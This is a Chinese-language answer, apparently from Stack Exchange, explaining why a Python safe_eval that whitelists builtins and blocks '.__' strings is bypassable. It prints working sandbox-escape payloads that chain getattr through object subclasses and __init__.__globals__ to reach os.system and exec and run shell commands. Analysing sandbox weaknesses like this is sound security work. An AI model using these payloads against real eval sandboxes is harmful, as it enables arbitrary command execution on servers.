白名单限制内置函数并拦截双下划线属性调用的safe_eval函数存在哪些可绕过的安全漏洞?
嘿,你的这个safe_eval设计思路看起来挺严谨,但其实有几个关键的漏洞能被攻击者轻松绕过,咱们一个个说:
通过
getattr绕过双下划线属性检测
你只检测了代码里是否存在.__字符串,但完全没考虑到可以用内置函数getattr来获取任意属性——包括那些带双下划线的“魔法属性”。而你刚好把getattr和hasattr放进了允许的内置函数列表里,这就等于给攻击者开了后门。举个例子,攻击者可以用下面的代码拿到
object类的元类type,进而获取所有子类:getattr(getattr(object(), '__class__'), '__subclasses__')()这段代码里没有
.__,所以不会被你的检测拦截,但已经能拿到Python内置的所有子类集合了。利用内置子类获取敏感模块/执行系统命令
从上面拿到的子类列表里,攻击者可以筛选出那些包含__init__方法的类,而这些类的__init__.__globals__里往往会引用像os这样的敏感模块。比如下面的payload就能直接执行系统命令(全程用getattr避免.__):getattr(getattr([cls for cls in getattr(getattr(object(), '__class__'), '__subclasses__')() if hasattr(cls, '__init__') and 'os' in getattr(getattr(cls, '__init__'), '__globals__', {})][0], '__init__'), '__globals__')['os'].system('echo "pwned!"')执行这段代码后,攻击者就能在服务器上运行任意系统命令,完全突破了你的限制。
获取完整的
__builtins__模块
你把__builtins__限制成了白名单字典,但攻击者可以通过子类的__globals__拿到真实的__builtins__模块,里面包含了所有危险函数,比如exec、eval、open等。比如拿到os模块后,还能进一步获取__builtins__:getattr(getattr([cls for cls in getattr(getattr(object(), '__class__'), '__subclasses__')() if hasattr(cls, '__init__') and 'os' in getattr(getattr(cls, '__init__'), '__globals__', {})][0], '__init__'), '__globals__')['__builtins__']['exec']('import os; os.system("whoami")')这样一来,攻击者就能用
exec执行任意Python代码,彻底掌控运行环境。
其实核心问题在于,你只做了静态字符串检测,却忽略了Python的动态属性获取能力——getattr完全绕开了你的.__检测。另外,允许object、dict这些基础类的内置函数,等于给攻击者提供了攀爬整个Python对象体系的起点。
备注:内容来源于stack exchange,提问作者maxcutlyp

